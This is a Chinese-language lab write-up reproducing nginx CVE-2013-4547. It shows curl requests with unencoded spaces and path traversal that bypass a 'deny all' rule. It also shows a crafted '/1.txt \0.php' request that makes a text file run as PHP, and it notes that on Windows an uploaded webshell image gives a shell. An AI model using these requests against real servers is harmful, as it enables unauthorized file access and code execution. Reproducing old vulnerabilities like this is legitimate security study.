Nginx CVE-2013-4547

影响版本
nginx 0.8.41 – 1.5.6

测试版本
nginx 1.2.9

漏洞测试
1)访问到不可访问文件
nginx中添加配置

        location /vinc/ {
            deny all;
        }
[root@vincent nginx]# curl 172.16.100.161/vinc/1.txt -I
HTTP/1.1 403 Forbidden

创建一个包含空格的目录test

[root@vincent html]# ls -F
50x.html index.html test / vinc/

然后通过curl访问就可以

[root@vincent vinc]# curl "172.16.100.161/test /../vinc/1.txt" 
hello

2)将非PHP文件解析为PHP

Linux环境+PHP5.5.38


这里先说明下php从5.3.3版本开始引入php-fpm。
从5.3.9开始,php官方加入了一个配置”security.limit_extensions”,默认状态下只允许执行扩展名为”.php”的文件。如果发送给Fastcgi的文件非.PHP,则会报错Access denied.
所以测试前提是配置
security.limit_extensions =
然后重启php-fpm。
创建文件1.txt (需要注意末尾有空格)我们修改1.txt ,内容为PHP代码:

<?php
phpinfo();
?>

我们构造一个伪造请求,请求的地址为”/1.txt \0.php”,注意其中的空格没有编码。然后可以看到phpinfo解析了。

所以利用前提
1)构造文件名末尾带空格的文件,所以在实际环境中基本是不可能的。
2)php-fpm配置了security.limit_extensions =

Windows环境+PHP5.6.32


这个漏洞在Windows环境下的利用价值就大大增强了
1)测试发现Windows下php-fpm默认就可以解析其他类型文件,不是默认只解析PHP文件。
2)Windows会自动忽略对应文件名后的空格,所以文件名末尾带空格的文件不再需要。
也就是说在Windows环境下,用户上传包含Webshell的头像文件,就可以直接Getshell了。

创建文件1.txt(末尾不带空格),我们修改1.txt ,内容为PHP代码:

<?php
phpinfo();
?>

我们构造一个伪造请求,请求的地址为”/1.txt \0.php”,结果如下: